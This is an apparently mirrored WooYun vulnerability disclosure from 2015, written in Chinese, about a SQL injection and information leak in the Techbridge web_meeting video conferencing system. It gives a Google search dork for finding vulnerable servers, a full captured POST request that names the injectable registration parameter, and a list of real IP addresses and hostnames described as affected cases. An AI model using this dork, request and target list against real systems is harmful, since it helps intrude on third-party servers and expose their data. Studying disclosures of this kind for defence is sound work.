乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-05-07: 厂商已经主动忽略漏洞,细节向公众公开
rt
WooYun: 某视频会议系统存在严重信息泄露+通用的SQL注入 唐桥视频会议谷歌:inurl:web_meeting/index.php
POST /common/web_meeting/index.php?module=register_submit HTTP/1.1Host: demo.techbridge-inc.comProxy-Connection: keep-aliveContent-Length: 339Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://demo.techbridge-inc.comUser-Agent: Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)Content-Type: application/x-www-form-urlencodedReferer: http://demo.techbridge-inc.com/common/web_meeting/index.php?module=registerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: mtUserLanguage1=zh-cn; statistics_clientid=me; lan=zh-cn; PHPSESSID=36ea9ff06b7c8a81bf712794ec793767; Hm_lvt_151d2075cc5777cf38ac9397e51976a0=1427029928; Hm_lpvt_151d2075cc5777cf38ac9397e51976a0=1427029928; lzstat_uv=18629891321522677263|2054985; lzstat_ss=1784646312_0_1427058728_2054985radiobutton=3&userName=63202&passWord=63202&passWordRepeat=63202&displayName=63202&email=63202%40qq.com&mobile=13800138099&sendType%5B%5D=sms&sendType%5B%5D=email&gId%5B%5D=50&companyAddress=1&provinceId=0&address=%E9%98%BF%E6%96%AF%E9%A1%BF&telNumber=13800138009&companySize=1&industry=1&companyType=1&dateFormat=2&timeFormat=2&checkbox=1
Parameter: Array-like #10* ((custom) POST)
案例:
http://huizhi2000.xicp.net/common/web_meeting/index.php?module=bulletin_boardhttp://211.153.76.137/common/web_meeting/index.php?offsetadd=1&day=10&min=03&year=2015http://218.108.168.75/common/web_meeting/index.php?module=meeting_info&userId=1&meetId=817308456&siteId=10http://218.108.168.75/common/web_meeting/index.php?module=meeting_info&meetId=811199287&userId=1&siteId=10&meetingType=2http://111.11.183.88/common/web_meeting/index.php?module=meeting_roomhttp://115.236.34.51:9080/common/web_meeting/index.php?module=join_meeting&userId=1&siteId=10http://demo.techbridge-inc.com/common/web_meeting/index.php?module=register
过滤
未能联系到厂商或者厂商积极拒绝